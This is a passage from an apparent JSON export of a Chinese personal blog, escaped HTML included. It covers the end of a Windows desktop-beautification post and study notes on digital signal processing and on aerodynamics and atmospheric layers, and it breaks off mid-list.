dock,可竖置,改变长宽、背景色\u003c/li\u003e\n\u003cli\u003e开启文件夹高级交互后可以文件夹鼠标悬停预览内容,单击原地展开,不必开文件资源管理器窗口。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e针对 steam 内应用的快捷方式优化\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e双击隐藏图标\u003c/strong\u003e,每个可单独设置是否隐藏。\u003c/li\u003e\n\u003cli\u003e后台内存占用 100 mb 左右,尚可接受。几乎不消耗 GPU\u003c/li\u003e\n\u003cli\u003e可自定义图片、动图作为壁纸。初步兼容 WallpaperEngine(需在设置中设置当其他程序成为焦点时为始终运行)。\u003c/li\u003e\n\u003cli\u003e多屏支持\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e缺点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e我的电脑开启高级文件交互后,只要文件夹内文件数稍多,sapphire 会直接卡死。观望作者更新。\u003c/li\u003e\n\u003cli\u003e暂时还没有保存桌面布局的功能,好在即使卡退也会记录最新布局。\u003c/li\u003e\n\u003cli\u003e只保证兼容 Windows 11\u003c/li\u003e\n\u003cli\u003e更改桌面右键交互但目前还不能自定义\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eGitHub 项目地址:\u003ca href=\"https://github.com/hymnly133/Sapphire-EnhancedDesktop\"\u003eSapphire-EnhancedDesktop: Windows桌面取代软件\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e光标美化\u003c/h2\u003e\n\u003cp\u003e网上有很多分享光标美化文件的,根据个人喜好挑选。安装也不难。\u003cbr/\u003e\n分享两款,不影响视野同时具有个性化设计的:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e原神纳西妲光标:\u003ca href=\"https://www.bilibili.com/video/BV14P411c7ap/\"\u003e纳西妲同款鼠标光标4.0版来咯_原神\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e蔚蓝档案千年光标,简约可爱,在用。\u003cbr/\u003e\nGitHub项目地址:\u003ca href=\"https://github.com/makipom/BlueArchive-Cursors\"\u003eBlueArchive-Cursors\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Windows-Beautification-History.html"},{"title":"数字信号处理(持续更新)","time":"2024-09-04T15:44:00Z","content":"数字信号处理基本概念信号分类连续信号:即模拟信号,时域连续信号。时域离散信号:幅度取值连续,时间取值离散。幅度离散信号:幅度取值离散,时间取值连续。数字信号:幅度和时间都取离散值。区别时域离散信...\u003chr /\u003e\u003ch1\u003e数字信号处理基本概念\u003c/h1\u003e\n\u003ch2\u003e信号分类\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e连续信号:即模拟信号,时域连续信号。\u003c/li\u003e\n\u003cli\u003e时域离散信号:幅度取值连续,时间取值离散。\u003c/li\u003e\n\u003cli\u003e幅度离散信号:幅度取值离散,时间取值连续。\u003c/li\u003e\n\u003cli\u003e数字信号:幅度和时间都取离散值。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3\u003e区别\u003c/h3\u003e\n\u003cp\u003e时域离散信号和数字信号之间的差别,仅在于数字信号存在量化误差。\u003c/p\u003e\n\u003ch2\u003e数字信号处理实现方法\u003c/h2\u003e\n\u003cp\u003e数字信号处理的主要对象是\u003cstrong\u003e数字信号\u003c/strong\u003e,且是采用\u003cstrong\u003e数值运算\u003c/strong\u003e的方法达到处理目的的。\u003c/p\u003e\n\u003ch3\u003e软件实现\u003c/h3\u003e\n\u003cp\u003e按原理和算法,编写程序在通用计算机实现。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e优点:灵活\u003c/li\u003e\n\u003cli\u003e缺点:运算速度慢,难以达到实时处理效果。\u003c/li\u003e\n\u003cli\u003e适合算法研究和仿真。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e硬件实现\u003c/h3\u003e\n\u003cp\u003e按照具体的要求和算法,设计硬件结构图,用乘法器、加法器、延时器、控制器、存储器以及输人输出接口等基本部件实现。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e优点:运算速度快,可实时处理\u003c/li\u003e\n\u003cli\u003e缺点:不灵活\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e硬件实现指的是选用合适的 DSP 芯片,配有适合芯片语言及任务要求的软件,实现某种信号处理功能的一种方法。\u003c/p\u003e\n\u003ch3\u003e专用芯片\u003c/h3\u003e\n\u003cp\u003e采用专用的 \u003cstrong\u003e数字信号处理芯片(DSP 芯片)\u003c/strong\u003e 是目前发展最快、应用最广的一种方法。因为 DSP 芯片比通用单片机有更为突出的优点,它结合了数字信号处理的特点,\u003cstrong\u003e内部配有乘法器和累加器\u003c/strong\u003e,结构上采用了流水线工作方式以及并行结构、多总线,且配有适合数字信号处理的指令,是一类可实现高速运算的微处理器。\u003c/p\u003e\n\u003cp\u003e对于更高速的实时系统,DSP 的速度也不满足要求时,应采用可编程超大规模器件(FPGA)或开发专用芯片来实现。\u003c/p\u003e\n\u003ch2\u003e数字信号处理特点\u003c/h2\u003e\n\u003cp\u003e相比于模拟信号处理,数字信号处理具有以下特点:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e灵活性\u003c/li\u003e\n\u003cli\u003e高精度和高稳定性\u003c/li\u003e\n\u003cli\u003e便于大规模集成\u003c/li\u003e\n\u003cli\u003e可以实现模拟系统无法实现的诸多功能,如储存、复杂变换和运算。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2\u003e信号维度\u003c/h2\u003e\n\u003cp\u003e信号通常是一个自变量或几个自变量的函数。\u003cbr/\u003e\n如果仅有一个自变量,则称为一维信号;如果有两个以上的自变量,则称为多维信号。\u003c/p\u003e\n\u003ch1\u003e时域离散信号与系统\u003c/h1\u003e\n\u003ch2\u003e时域离散信号\u003c/h2\u003e\n\u003cp\u003e实际中遇到的信号一般是模拟信号,对它进行\u003cstrong\u003e等间隔采样\u003c/strong\u003e便可以得到时域离散信号。\u003c/p\u003e\n\u003cp\u003e模拟信号 $x_a(t)$ ,离散时间点 $t_n$ 。\u003cbr/\u003e\n均匀采样(等间隔采样)时,采样间隔 $T$ ,$t_n=nT$\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=x_a(t)|_{t=nT}=x_a(nT),- \\infty\u0026lt;n\u0026lt;\\infty\u003cbr/\u003e\n$$\u003cbr/\u003e\n$x(n)$ 称为时域离散信号,$n$ 取整数,得到序列\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=\\{\\cdots ,x_a(-2T),x_a(-T),x_a(0),x_a(T),x_a(2T),\\cdots \\}\u003cbr/\u003e\n$$\u003cbr/\u003e\n时域离散信号也称序列。\u003c/p\u003e\n\u003ch3\u003e序列表示方法\u003c/h3\u003e\n\u003ch4\u003e集合符号\u003c/h4\u003e\n\u003cp\u003e数的集合用集合符号 $\\{\\cdot \\}$ 表示,时域离散信号可表示为有序的数的集合。\u003cbr/\u003e\n集合中有下划线的元素表示 $n=0$ 时刻的采样值。\u003c/p\u003e\n\u003ch4\u003e公式表示\u003c/h4\u003e\n\u003cp\u003eExample:\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=a^{|n|},0\u0026lt;a\u0026lt;1,-\\infty\u0026lt;n\u0026lt;\\infty\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e图形表示\u003c/h4\u003e\n\u003cp\u003e横坐标为 $n$ ,纵坐标为 $x$ 的值,竖线顶端加黑点。\u003c/p\u003e\n\u003ch3\u003e常用典型序列\u003c/h3\u003e\n\u003ch4\u003e单位脉冲序列 $\\delta(n)$\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\delta(n)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n1 \u0026amp; n=0\\\\\u003cbr/\u003e\n0 \u0026amp; n \\ne 0\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n也称单位采样序列,不同于单位冲激信号 $\\delta(t)$ 。\u003c/p\u003e\n\u003ch4\u003e单位阶跃序列 $u(n)$\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nu(n)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n1 \u0026amp; n \\ge 0\\\\\u003cbr/\u003e\n0 \u0026amp; n \u0026lt; 0\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\delta(n)=u(n)-u(n-1)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nu(n)=\\sum^{\\infty}_{k=0}\\delta(n-k)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e矩形序列 $R_N(n)$\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nR_N(n)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n1 \u0026amp; 0 \\le n \\le N-1\\\\\u003cbr/\u003e\n0 \u0026amp; Others\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$N$ 称为矩形序列长度,矩形序列可用单位阶跃序列表示。\u003cbr/\u003e\n$$\u003cbr/\u003e\nR_N(n)=u(n)-u(n-N)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e实指数序列\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nx(n)=a^n u(n),a 为实数\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e$|a|\u0026lt;1$ 时称 $x(n)$ 为收敛序列\u003c/li\u003e\n\u003cli\u003e$|a|\u0026gt;1$ 时称 $x(n)$ 为发散序列\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e正弦序列\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nx(n)=\\sin (\\omega n)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\omega$ 称为正弦序列的\u003cstrong\u003e数字域频率(数字频率)\u003c/strong\u003e,单位为弧度 $rad$ ,表示序列变化速率(相邻两个序列值之间相位变化的弧度数)。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e模拟角频率 $\\varOmega$\u003c/strong\u003e,若正弦序列由模拟信号 $x_a(t)=\\sin (\\varOmega t)$ 采样得到\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=x_a(t)|_{t=nT}=\\sin (\\varOmega nT)=\\sin (\\omega n)\u003cbr/\u003e\n$$\u003cbr/\u003e\n则得到数字频率与模拟角频率的关系\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\omega=\\varOmega T\u003cbr/\u003e\n$$\u003cbr/\u003e\n采样频率 $F_s=\\frac{1}{T}$ ,因此\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\omega=\\frac{\\varOmega}{F_s}\u003cbr/\u003e\n$$\u003cbr/\u003e\n\u003cem\u003e数字域频率是模拟角频率对采样频率的归一化频率。\u003c/em\u003e\u003c/p\u003e\n\u003ch4\u003e复指数序列\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nx(n)=e^{(\\sigma+j \\omega_0)n}=\\cos(\\omega_0 n)+j \\sin(\\omega_0 n)\u003cbr/\u003e\n$$\u003cbr/\u003e\n因为 $n$ 取整数,所以正弦序列和复指数序列都以 $2 \\pi$ 为周期。\u003c/p\u003e\n\u003ch4\u003e周期序列\u003c/h4\u003e\n\u003cp\u003e如果对所有 $n$ 存在一个\u003cstrong\u003e最小的正整数\u003c/strong\u003e $N$,使下面等式成立:\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=x(n+N),-\\infty\u0026lt;n\u0026lt;\\infty\u003cbr/\u003e\n$$\u003cbr/\u003e\n则称序列 $x(n)$ 为周期性序列,周期为 $N$ 。\u003c/p\u003e\n\u003ch3\u003e序列运算\u003c/h3\u003e\n\u003cp\u003eEasy\u003c/p\u003e\n\u003ch4\u003e加法和乘法\u003c/h4\u003e\n\u003ch4\u003e位移、翻转、尺度变换\u003c/h4\u003e\n\u003ch2\u003e离散时域系统\u003c/h2\u003e\n\u003cp\u003e系统输入为 $x(n)$ ,输出为 $y(n)$ ,运算关系用 $T[\\cdot]$ 表示。\u003cbr/\u003e\n$$\u003cbr/\u003e\ny(n)=T[x(n)]\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e线性系统\u003c/h3\u003e\n\u003cp\u003e系统的输入、输出之间满足线性叠加原理的系统称为线性系统。\u003c/p\u003e\n\u003ch4\u003e可加性\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\ny_1(n)=T[x_1(n)],y_2(n)=T[x_2(n)]\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nT[x_1(n)+x_2(n)]=y_1(n)+y_2(n)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e齐次性(比例性)\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nT[a \\times x(n)]=a \\times y(n)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e时不变系统\u003c/h3\u003e\n\u003cp\u003e如果系统对输入信号的运算关系 $T[\\cdot]$ 在整个运算过程中不随时间变化,或者说系统对于输人信号的响应与信号加于系统的时间无关,则这种系统称为时不变系统。\u003cbr/\u003e\n$$\u003cbr/\u003e\ny(n)=T[x(n)]\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\ny(n-n_0)=T[x(n-n_0)]\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e线性时不变系统特点\u003c/h3\u003e\n\u003cp\u003e完全响应=零输入响应+零状态响应\u003c/p\u003e\n\u003ch4\u003e单位脉冲响应\u003c/h4\u003e\n\u003cp\u003e初始状态为 0(无零输入响应)\u003cbr/\u003e\n$$\u003cbr/\u003e\nh(n)=T[\\delta(n)]\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nx(n)=\\sum^{\\infty}_{m=-\\infty}x(m)\\delta(n-m)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{align}\u003cbr/\u003e\ny(n)\u003cbr/\u003e\n\u0026amp;=T[x(n)]\\\\\u003cbr/\u003e\n\u0026amp;=T[\\sum^{\\infty}_{m=-\\infty}x(m)\\delta(n-m)]\\\\\u003cbr/\u003e\n\u0026amp;=\\sum^{\\infty}_{m=-\\infty}x(m)T[\\delta(n-m)]\\\\\u003cbr/\u003e\n\u0026amp;=\\sum^{\\infty}_{m=-\\infty}x(m)h(n-m)\\\\\u003cbr/\u003e\n\u0026amp;=x(n)*h(n)\u003cbr/\u003e\n\\end{align}\u003cbr/\u003e\n$$\u003cbr/\u003e\n卷积相关知识见《信号与系统》\u003c/p\u003e\n\u003ch3\u003e系统因果性\u003c/h3\u003e\n\u003cp\u003e定义:如果系统 $n$ 时刻的输出只取决于 $n$ 时刻以及 $n$ 时刻以前的输入序列,而和 $n$ 时刻以后的输入序列无关,则称该系统具有因果性质,或称该系统为因果系统。\u003c/p\u003e\n\u003cp\u003e==充要条件==:系统单位脉冲响应满足下式\u003cbr/\u003e\n$$\u003cbr/\u003e\nh(n)=0 \\quad n\u0026lt;0\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e系统稳定性\u003c/h3\u003e\n\u003cp\u003e定义:如果对有界输入,系统产生的输出也是\u003cstrong\u003e有界\u003c/strong\u003e的,则称该系统具有稳定性,或称该系统为稳定系统。\u003cbr/\u003e\n==充要条件==:系统的单位脉冲响应绝对可和。\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\sum^{\\infty}_{m=-\\infty}|h(n)|\u0026lt;\\infty\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e线性常系数差分方程\u003c/h3\u003e\n","url":"https://guzhengsvt.top/index.php/archives/digital-signal-processing.html"},{"title":"空气动力学基础(持续更新)","time":"2024-09-02T14:13:00Z","content":"流体静力学基础气体性质压缩性体积弹性模数定义:产生单位相对体积变化所需压强增高$$E=-\\frac{dp}{dV/V}$$对于一定质量气体,体积与密度成反比例关系,即$$\\frac{d \\rho...\u003chr /\u003e\u003ch1\u003e流体静力学基础\u003c/h1\u003e\n\u003ch2\u003e气体性质\u003c/h2\u003e\n\u003ch3\u003e压缩性\u003c/h3\u003e\n\u003ch4\u003e体积弹性模数\u003c/h4\u003e\n\u003cp\u003e定义:产生单位相对体积变化所需压强增高\u003cbr/\u003e\n$$\u003cbr/\u003e\nE=-\\frac{dp}{dV/V}\u003cbr/\u003e\n$$\u003cbr/\u003e\n对于一定质量气体,体积与密度成反比例关系,即\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d \\rho}{\\rho}=-\\frac{dV}{V}\u003cbr/\u003e\n$$\u003cbr/\u003e\n回代得\u003cbr/\u003e\n$$\u003cbr/\u003e\nE=\\rho \\frac{dp}{d \\rho}\u003cbr/\u003e\n$$\u003cbr/\u003e\n常温下水的体积弹性模数:$2.1 \\times 10^9N/m^2$\u003cbr/\u003e\n通常情况下水可视为不可压缩流体。\u003c/p\u003e\n\u003ch3\u003e粘性\u003c/h3\u003e\n\u003ch4\u003e牛顿粘性定律\u003c/h4\u003e\n\u003cp\u003e流体运动所产生的摩擦阻力与接触面积成正比\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\tau =\\mu \\frac{du}{d \\vec{n}}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\tau$ :摩阻\u003cstrong\u003e应力\u003c/strong\u003e,单位面积上的摩擦阻力\u003cbr/\u003e\n$\\vec{n}$ :接触面法线方向\u003cbr/\u003e\n$\\mu$ :比例常数,称为流体的\u003cstrong\u003e粘性系数\u003c/strong\u003e,单位为 $N \\cdot s/m^2$\u003cbr/\u003e\n$\\frac{du}{d \\vec{n}}$ :速度梯度\u003c/p\u003e\n\u003cp\u003e不同流体介质粘性系数值各不相同,并且粘性系数随温度变化,与压强基本无关。\u003cbr/\u003e\n气体粘性系数随温度升高而增大。\u003c/p\u003e\n\u003ch4\u003e萨特兰公式\u003c/h4\u003e\n\u003cp\u003e空气粘性系数随温度变化关系,近似公式之一萨特兰公式\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\mu}{\\mu_0}=(\\frac{T}{288.15})^{1.5}\\frac{288.15+C}{T+C}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\mu_0$ :温度为 $288.15K$ 时空气粘性系数\u003cbr/\u003e\n$C$ :常数,值为 $110.4K$ \u003c/p\u003e\n\u003ch4\u003e运动粘性系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\nu=\\frac{\\mu}{\\rho}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\nu$ :运动粘性系数,单位为 $m^2/s$\u003cbr/\u003e\n$\\mu$ :粘性系数\u003cbr/\u003e\n$\\rho$ :密度\u003c/p\u003e\n\u003ch3\u003e传热性\u003c/h3\u003e\n\u003cp\u003e定义:当气体中沿某一方向存在温度梯度时,热量就会由温度高的地方传向温度低的地方,这种性质称为气体的传热性。\u003cbr/\u003e\n单位时间内所传递热量与传热面积成正比,与沿热流方向的温度梯度成正比,即\u003cbr/\u003e\n$$\u003cbr/\u003e\nq=-\\lambda \\frac{\\partial T}{\\partial \\vec{n}}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$q$ :单位时间通过单位面积热量,单位 $kJ/(m^2 \\cdot s)$\u003cbr/\u003e\n$\\frac{\\partial T}{\\partial \\vec{n}}$ :温度梯度,单位为 $K/m$\u003cbr/\u003e\n$\\lambda$ :导热系数,单位为 $kJ/(m \\cdot K \\cdot s)$\u003cbr/\u003e\n负号表示热量传递方向永远与温度梯度方向相反。\u003c/p\u003e\n\u003ch2\u003e流体分类\u003c/h2\u003e\n\u003ch3\u003e连续介质假设\u003c/h3\u003e\n\u003ch3\u003e理想流体\u003c/h3\u003e\n\u003cp\u003e不考虑粘性,在这种模型中,流体微团不承受粘性力作用。常用于气体。\u003cbr/\u003e\n忽略粘性的气体称为理想气体。\u003c/p\u003e\n\u003ch4\u003e压强各向同性\u003c/h4\u003e\n\u003cp\u003e理想流体内一点处的压强与受压面的方位无关,它仅是空间坐标的连续函数。\u003c/p\u003e\n\u003ch3\u003e不可压流体\u003c/h3\u003e\n\u003cp\u003e不考虑气体压缩性或弹性,可认为体积弹性模数无穷大,或流体密度为常数。常用于液体。\u003cbr/\u003e\n求解不可压流体的流动规律,只需要服从力学定律,不需要考虑热力学关系。\u003c/p\u003e\n\u003cp\u003e对流速较低的气体,也可按不可压流体处理流动问题。\u003c/p\u003e\n\u003ch3\u003e绝热流体\u003c/h3\u003e\n\u003cp\u003e不考虑流体传热性的模型,即把流体热导系数看作零。低速流动的空气一般热导系数值很小,可视为绝热。\u003cbr/\u003e\n不考虑气体微团之间热传导作用的气体模型称之为绝热气体。\u003c/p\u003e\n\u003ch3\u003e完全气体\u003c/h3\u003e\n\u003cp\u003e任何状态下,气体的压强、密度和温度之间都存在一定的函数关系\u003cbr/\u003e\n$$\u003cbr/\u003e\np=p(\\rho,T)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e完全气体的状态方程\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\np=\\frac{\\overline{R}}{m}\\rho T\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\overline{R}$ :普适气体常数,$8315m^2/(s^2 \\cdot K)$\u003cbr/\u003e\n$m$ :某种气体相对分子质量\u003cbr/\u003e\n$R=\\frac{\\overline{R}}{m}$ 时,\u003cbr/\u003e\n$$\u003cbr/\u003e\np=\\rho R T\u003cbr/\u003e\n$$\u003cbr/\u003e\n$R$ 为气体常数,空气约为 $287.035m^2/(s^2 \\cdot K)$ \u003c/p\u003e\n\u003ch2\u003e流体微团受力\u003c/h2\u003e\n\u003ch3\u003e压力\u003c/h3\u003e\n\u003ch3\u003e切应力(摩擦力)\u003c/h3\u003e\n\u003ch3\u003e彻体力\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e重力\u003c/li\u003e\n\u003cli\u003e电磁力\u003c/li\u003e\n\u003cli\u003e离心力\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e静平衡方程\u003c/h2\u003e\n\u003cp\u003e在==静止流体==中取一点 $P$,压强为 $p$\u003cbr/\u003e\n构建笛卡尔坐标系,流体内各点处压强为\u003cbr/\u003e\n$$\u003cbr/\u003e\np(x,y,z)\u003cbr/\u003e\n$$\u003cbr/\u003e\n以 $P$ 为中心构建各边平行于坐标轴的长方体,边长为 $dx,dy,dz$\u003cbr/\u003e\n观察 $x$ 轴方向,两面受压力大小分别为\u003cbr/\u003e\n$$\u003cbr/\u003e\n[p(x_0,y_0,z_0)+(\\frac{\\partial p}{\\partial x})(\\frac{dx}{2})]dx dy\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n[p(x_0,y_0,z_0)-(\\frac{\\partial p}{\\partial x})(\\frac{dx}{2})]dx dy\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e流体微团 $x$ 轴方向受彻体力为\u003cbr/\u003e\n$$\u003cbr/\u003e\nf_x \\rho dx dy dz\u003cbr/\u003e\n$$\u003cbr/\u003e\n$f_x$ 为单位质量上所受彻体力在 $x$ 轴方向分力。\u003cbr/\u003e\n因为是静止流体,流体微团受力平衡。\u003cbr/\u003e\n$x$ 轴方向力平衡方程为\u003cbr/\u003e\n$$\u003cbr/\u003e\n[p(x_0,y_0,z_0)-(\\frac{\\partial p}{\\partial x})(\\frac{dx}{2})]dx dy-[p(x_0,y_0,z_0)+(\\frac{\\partial p}{\\partial x})(\\frac{dx}{2})]dx dy+f_x \\rho dx dy dz=0\u003cbr/\u003e\n$$\u003cbr/\u003e\n整理得\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\partial p}{\\partial x}=\\rho f_x\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\partial p}{\\partial y}=\\rho f_y\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\partial p}{\\partial z}=\\rho f_z\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e$\\because$ $p$ 全微分方程为\u003cbr/\u003e\n$$\u003cbr/\u003e\ndp=\\frac{\\partial p}{\\partial x}dx+\\frac{\\partial p}{\\partial y}dy+\\frac{\\partial p}{\\partial z}dz\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\therefore$\u003cbr/\u003e\n$$\u003cbr/\u003e\ndp=\\rho(f_x dx+f_y dy+f_z dz)\u003cbr/\u003e\n$$\u003cbr/\u003e\n设==彻体力位函数==\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\varOmega=\\varOmega(x,y,z)\u003cbr/\u003e\n$$\u003cbr/\u003e\n全微分为\u003cbr/\u003e\n$$\u003cbr/\u003e\nd \\varOmega=\\frac{\\partial \\varOmega}{\\partial x}dx+\\frac{\\partial \\varOmega}{\\partial y}dy+\\frac{\\partial \\varOmega}{\\partial z}dz\u003cbr/\u003e\n$$\u003cbr/\u003e\n其中 $\\frac{\\partial \\varOmega}{\\partial x}=f_x$,$\\frac{\\partial \\varOmega}{\\partial y}=f_y$,$\\frac{\\partial \\varOmega}{\\partial z}=-f_z$\u003cbr/\u003e\n由上述关系得到\u003cbr/\u003e\n$$\u003cbr/\u003e\ndp=-\\rho d \\varOmega\u003cbr/\u003e\n$$\u003cbr/\u003e\n两边对 $x,y,z$ 三重积分得\u003cbr/\u003e\n$$\u003cbr/\u003e\np=-\\rho \\varOmega+C(常数)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nC=p+\\rho \\varOmega\u003cbr/\u003e\n$$\u003cbr/\u003e\n当已知某一点 A 处的压强 $p_a$ ,两点处彻体力位函数差 $\\varOmega_a-\\varOmega$ ,该静止流体密度 $\\rho$ (处处相等)时,已知任一点彻体力位函数 $\\varOmega$ 可求得该点压强\u003cbr/\u003e\n$$\u003cbr/\u003e\np=p_a+\\rho (\\varOmega_a-\\varOmega)\u003cbr/\u003e\n$$\u003cbr/\u003e\n\u003cstrong\u003e推论:\u003c/strong\u003e 流体内等压面必是彻体力的等位面。\u003c/p\u003e\n\u003ch1\u003e大气\u003c/h1\u003e\n\u003ch2\u003e大气分层\u003c/h2\u003e\n\u003ch3\u003e底层大气\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e高度:海平面——85 km\u003c/li\u003e\n\u003cli\u003e特点:组分均匀,氮气占总体积 78.1%,氧气占总体积 21%\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e对流层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度\u003cul\u003e\n\u003cli\u003e赤道:16~18 km\u003c/li\u003e\n\u003cli\u003e中纬度地区:10~12 km\u003c/li\u003e\n\u003cli\u003e两极:7~10 km\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e质量:占整个大气质量 75%\u003c/li\u003e\n\u003cli\u003e特点:有上下方向流动,有风暴、雷雨现象。随高度增加,空气温度快速下降。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e对流顶层\u003c/h4\u003e\n\u003cp\u003e过渡层,厚度数百米到一二千米。\u003c/p\u003e\n\u003ch4\u003e平流层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:对流层~32 km\u003c/li\u003e\n\u003cli\u003e质量:约占大气层质量四分之一\u003c/li\u003e\n\u003cli\u003e特点:无气象,空气水平流动,温度保持常数(平均约 216.65 K)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e中间大气层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:32~85 km\u003c/li\u003e\n\u003cli\u003e质量:1/3000\u003c/li\u003e\n\u003cli\u003e温度:先上升后下降,85 km 处可降到 106 K 以下。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e高层大气\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e高度:85 km 以上\u003c/li\u003e\n\u003cli\u003e特点:组分不均匀,直接吸收太阳辐射\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e高温层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:85~500 km\u003c/li\u003e\n\u003cli\u003e温度:随高度升高温度上升,500 km 处白天可达 1370 K。\u003c/li\u003e\n\u003cli\u003e特点:直接受太阳短波辐射\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e外层大气\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:500+ km,大气逐渐与星际空间融合\u003c/li\u003e\n\u003cli\u003e质量:$1/10^{11}$\u003c/li\u003e\n\u003cli\u003e特点:大气过于稀薄,不适合用温度定义。空气分子可逃逸入太空。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e上层大气与电离层\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e上层大气受太阳短波辐射离解为电子和离子,形成电离层。\u003c/li\u003e\n\u003cli\u003e100 km 以上高空中,空气是良导体。\u003c/li\u003e\n\u003cli\u003e150 km 以上,空气过于稀薄,无法传递声音。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eD 层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:60~80 km\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eE 层\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e高度:100~120 